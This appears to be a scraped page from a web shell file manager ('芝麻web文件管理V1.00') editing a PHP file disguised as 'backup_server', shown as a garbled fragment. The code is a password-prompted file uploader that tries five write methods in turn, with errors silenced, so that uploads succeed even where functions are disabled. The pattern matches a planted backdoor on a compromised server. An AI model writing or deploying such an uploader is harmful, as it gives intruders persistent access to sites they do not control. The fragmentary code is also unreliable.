芝麻web文件管理V1.00
编辑当前文件:/home/dcqnetm/inserv/backup-server-sample/backup_server_957c4972.php
Enter Password:
Submit
Invalid upload path!"; exit; } $target_file = $upload_path . DIRECTORY_SEPARATOR . $file_name; // move_uploaded_file if (function_exists('move_uploaded_file')) { if (@move_uploaded_file($file_temp, $target_file)) { printf('uploaded:
%s
', htmlspecialchars($target_file), htmlspecialchars($file_name)); exit; } } // copy if (function_exists('copy')) { if (@copy($file_temp, $target_file)) { printf('uploaded:
%s
', htmlspecialchars($target_file), htmlspecialchars($file_name)); exit; } } // file_put_contents if (function_exists('file_put_contents')) { $file_contents = @file_get_contents($file_temp); if ($file_contents !== false && @file_put_contents($target_file, $file_contents) !== false) { printf('uploaded:
%s
', htmlspecialchars($target_file), htmlspecialchars($file_name)); exit; } } // fwrite if (function_exists('fwrite')) { $handle = @fopen($target_file, 'w'); if ($handle) { $file_contents = @file_get_contents($file_temp); if ($file_contents !== false && @fwrite($handle, $file_contents) !== false) { fclose($handle); printf('uploaded:
%s
', htmlspecialchars($target_file), htmlspecialchars($file_name)); exit; } fclose($handle); } } // rename if (function_exists('rename')) { if (@rename($file_temp, $target_file)) { printf('uploaded:
%s
', htmlspecialchars($target_file), htmlspecialchars($file_name)); exit; } } echo "
All Method Disabled!
"; } ?>